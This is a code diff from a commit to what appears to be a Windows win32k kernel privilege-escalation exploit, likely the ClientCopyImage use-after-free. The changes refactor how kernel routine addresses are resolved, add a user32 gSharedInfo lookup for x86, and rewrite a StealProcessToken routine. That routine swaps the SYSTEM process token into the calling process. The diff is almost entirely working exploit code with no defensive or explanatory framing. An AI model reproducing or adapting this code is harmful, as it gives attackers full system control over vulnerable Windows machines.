35
35
#define HMUNIQSHIFT 16
36
36
37
37
typedef NTSTATUS (NTAPI * pUser32_ClientCopyImage )(PVOID p );
38
- typedef NTSTATUS (NTAPI * pPLPBPI )(HANDLE ProcessId , PVOID * Process );
38
+ typedef NTSTATUS (NTAPI * lPsLookupProcessByProcessId )(
39
+ IN HANDLE ProcessId ,
40
+ OUT PVOID Process
41
+ );
42
+
43
+ typedef PACCESS_TOKEN (NTAPI * lPsReferencePrimaryToken )(
44
+ _Inout_ PVOID Process
45
+ );
39
46
40
47
typedef PVOID PHEAD ;
41
48
@@ -65,19 +72,13 @@ typedef struct _SHAREDINFO {
65
72
66
73
static const TCHAR MAINWINDOWCLASSNAME [] = TEXT ("usercls348_Mainwindow" );
67
74
68
- pPLPBPI g_PsLookupProcessByProcessIdPtr = NULL ;
75
+ lPsLookupProcessByProcessId g_pPsLookupProcessByProcessId = NULL ;
76
+ lPsReferencePrimaryToken g_pPsReferencePrimaryToken = NULL ;
69
77
pUser32_ClientCopyImage g_originalCCI = NULL ;
70
78
PVOID g_ppCCI = NULL , g_w32theadinfo = NULL ;
71
79
int g_shellCalled = 0 ;
72
80
DWORD g_OurPID ;
73
81
74
-
75
- typedef PACCESS_TOKEN (NTAPI * lPsReferencePrimaryToken )(
76
- _Inout_ PVOID Process
77
- );
78
-
79
- lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL ;
80
-
81
82
typedef NTSTATUS (NTAPI * PRtlGetVersion )( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation );
82
83
83
84
NTSTATUS NTAPI RtlGetVersion (
@@ -230,25 +231,15 @@ BOOLEAN supIsProcess32bit(
230
231
return FALSE;
231
232
}
232
233
233
- /*
234
- * GetPsLookupProcessByProcessId
235
- *
236
- * Purpose:
237
- *
238
- * Return address of PsLookupProcessByProcessId routine to be used next by shellcode.
239
- *
240
- */
241
- ULONG_PTR GetPsLookupProcessByProcessId (
242
- VOID
243
- )
234
+ BOOL GetShellCodeFunctions (VOID )
244
235
{
245
236
BOOL cond = FALSE;
246
237
ULONG rl = 0 ;
247
238
PVOID MappedKernel = NULL ;
248
239
ULONG_PTR KernelBase = 0L , FuncAddress = 0L ;
249
240
PRTL_PROCESS_MODULES miSpace = NULL ;
250
241
CHAR KernelFullPathName [MAX_PATH * 2 ];
251
-
242
+ BOOL bSuccess = FALSE;
252
243
253
244
do {
254
245
@@ -278,12 +269,12 @@ ULONG_PTR GetPsLookupProcessByProcessId(
278
269
break ;
279
270
}
280
271
281
- pPsReferencePrimaryToken = (lPsReferencePrimaryToken )GetProcAddress (MappedKernel , "PsReferencePrimaryToken" );
282
- pPsReferencePrimaryToken = (lPsReferencePrimaryToken )((DWORD_PTR )KernelBase + ((DWORD_PTR )pPsReferencePrimaryToken - (DWORD_PTR )MappedKernel ));
283
-
284
272
FuncAddress = (ULONG_PTR )GetProcAddress (MappedKernel , "PsLookupProcessByProcessId" );
285
- FuncAddress = KernelBase + FuncAddress - (ULONG_PTR )MappedKernel ;
273
+ g_pPsLookupProcessByProcessId = ( lPsLookupProcessByProcessId )( KernelBase + FuncAddress - (ULONG_PTR )MappedKernel ) ;
286
274
275
+ FuncAddress = (ULONG_PTR )GetProcAddress (MappedKernel , "PsReferencePrimaryToken" );
276
+ g_pPsReferencePrimaryToken = (lPsReferencePrimaryToken )(KernelBase + FuncAddress - (ULONG_PTR )MappedKernel );
277
+ bSuccess = TRUE;
287
278
} while (cond );
288
279
289
280
if (MappedKernel != NULL ) {
@@ -293,7 +284,39 @@ ULONG_PTR GetPsLookupProcessByProcessId(
293
284
HeapFree (GetProcessHeap (), 0 , miSpace );
294
285
}
295
286
296
- return FuncAddress ;
287
+ return bSuccess ;
288
+ }
289
+
290
+ PSHAREDINFO GetSharedInfo (VOID ) {
291
+ HMODULE huser32 ;
292
+ PSHAREDINFO pSharedInfo = NULL ;
293
+ DWORD dwCursor = 0 ;
294
+
295
+ huser32 = GetModuleHandle (TEXT ("user32.dll" ));
296
+ if (huser32 == NULL )
297
+ return pSharedInfo ;
298
+
299
+ pSharedInfo = (PSHAREDINFO )GetProcAddress (huser32 , TEXT ("gSharedInfo" ));
300
+
301
+ #ifndef _M_X64
302
+ PVOID pUser32InitializeImmEntryTable ;
303
+
304
+ /* user32!gSharedInfo resoultion for x86 systems < Windows 7 */
305
+ if (pSharedInfo != NULL )
306
+ return pSharedInfo ;
307
+
308
+ pUser32InitializeImmEntryTable = GetProcAddress (huser32 , TEXT ("User32InitializeImmEntryTable" ));
309
+
310
+ for (dwCursor = 0 ; dwCursor < 0x80 ; dwCursor ++ ) {
311
+ if ( * ((PBYTE )pUser32InitializeImmEntryTable + dwCursor ) != 0x50 )
312
+ continue ;
313
+ if (* ((PBYTE )pUser32InitializeImmEntryTable + dwCursor + 1 ) != 0x68 )
314
+ continue ;
315
+ return * ((PSHAREDINFO * )((PBYTE )pUser32InitializeImmEntryTable + dwCursor + 2 ));
316
+ }
317
+ #endif
318
+
319
+ return pSharedInfo ;
297
320
}
298
321
299
322
/*
@@ -304,28 +327,22 @@ ULONG_PTR GetPsLookupProcessByProcessId(
304
327
* Locate, convert and return hwnd for current thread from SHAREDINFO->aheList.
305
328
*
306
329
*/
307
- HWND GetFirstThreadHWND (
308
- VOID
309
- )
330
+ HWND GetFirstThreadHWND (VOID )
310
331
{
311
332
PSHAREDINFO pse ;
312
- HMODULE huser32 ;
313
333
PHANDLEENTRY List ;
314
334
ULONG_PTR c , k ;
315
335
316
- huser32 = GetModuleHandle (TEXT ("user32.dll" ));
317
- if (huser32 == NULL )
318
- return 0 ;
319
-
320
- pse = (PSHAREDINFO )GetProcAddress (huser32 , "gSharedInfo" );
321
- if (pse == NULL )
336
+ pse = GetSharedInfo ();
337
+ if (pse == NULL ) {
322
338
return 0 ;
339
+ }
323
340
324
341
List = pse -> aheList ;
325
342
k = pse -> psi -> cHandleEntries ;
326
343
327
- if (pse -> HeEntrySize != sizeof (HANDLEENTRY ))
328
- return 0 ;
344
+ // if (pse->HeEntrySize != sizeof(HANDLEENTRY))
345
+ // return 0;
329
346
330
347
//
331
348
// Locate, convert and return hwnd for current thread.
@@ -334,12 +351,11 @@ HWND GetFirstThreadHWND(
334
351
if ((List [c ].pOwner == g_w32theadinfo ) && (List [c ].bType == TYPE_WINDOW )) {
335
352
return (HWND )(c | (((ULONG_PTR )List [c ].wUniq ) << HMUNIQSHIFT ));
336
353
}
337
-
338
354
return 0 ;
339
355
}
340
356
341
357
// Search the specified data structure for a member with CurrentValue.
342
- BOOL find_and_replace_member (PDWORD_PTR pdwStructure , DWORD_PTR dwCurrentValue , DWORD_PTR dwNewValue , DWORD_PTR dwMaxSize )
358
+ BOOL FindAndReplaceMember (PDWORD_PTR pdwStructure , DWORD_PTR dwCurrentValue , DWORD_PTR dwNewValue , DWORD_PTR dwMaxSize )
343
359
{
344
360
DWORD_PTR dwIndex , dwMask ;
345
361
@@ -376,29 +392,25 @@ BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue,
376
392
* Copy system token to current process object.
377
393
*
378
394
*/
379
- NTSTATUS NTAPI StealProcessToken (
380
- VOID
381
- )
395
+ NTSTATUS NTAPI StealProcessToken (VOID )
382
396
{
383
- NTSTATUS Status ;
384
- PVOID CurrentProcess = NULL ;
385
- PVOID SystemProcess = NULL ;
386
-
387
- Status = g_PsLookupProcessByProcessIdPtr ((HANDLE )g_OurPID , & CurrentProcess );
388
- if (NT_SUCCESS (Status )) {
389
- Status = g_PsLookupProcessByProcessIdPtr ((HANDLE )4 , & SystemProcess );
390
- if (NT_SUCCESS (Status )) {
391
- PACCESS_TOKEN targetToken = pPsReferencePrimaryToken (CurrentProcess );
392
- PACCESS_TOKEN systemToken = pPsReferencePrimaryToken (SystemProcess );
393
-
394
- // Find the token in the target process, and replace with the system token.
395
- find_and_replace_member ((PDWORD_PTR )CurrentProcess ,
396
- (DWORD_PTR )targetToken ,
397
- (DWORD_PTR )systemToken ,
398
- 0x200 );
399
- }
400
- }
401
- return Status ;
397
+ void * pMyProcessInfo = NULL ;
398
+ void * pSystemInfo = NULL ;
399
+ PACCESS_TOKEN systemToken ;
400
+ PACCESS_TOKEN targetToken ;
401
+
402
+ g_pPsLookupProcessByProcessId ((HANDLE )g_OurPID , & pMyProcessInfo );
403
+ g_pPsLookupProcessByProcessId ((HANDLE )4 , & pSystemInfo );
404
+
405
+ targetToken = g_pPsReferencePrimaryToken (pMyProcessInfo );
406
+ systemToken = g_pPsReferencePrimaryToken (pSystemInfo );
407
+
408
+ // Find the token in the target process, and replace with the system token.
409
+ FindAndReplaceMember ((PDWORD_PTR )pMyProcessInfo ,
410
+ (DWORD_PTR )targetToken ,
411
+ (DWORD_PTR )systemToken ,
412
+ 0x200 );
413
+ return 0 ;
402
414
}
403
415
404
416
@@ -476,9 +488,9 @@ void win32k_client_copy_image(LPVOID lpPayload)
476
488
}
477
489
478
490
g_OurPID = GetCurrentProcessId ();
479
- g_PsLookupProcessByProcessIdPtr = ( PVOID ) GetPsLookupProcessByProcessId ();
491
+ GetShellCodeFunctions ();
480
492
481
- if (g_PsLookupProcessByProcessIdPtr == NULL ) {
493
+ if (g_pPsLookupProcessByProcessId == NULL ) {
482
494
return ;
483
495
}
484
496
0 commit comments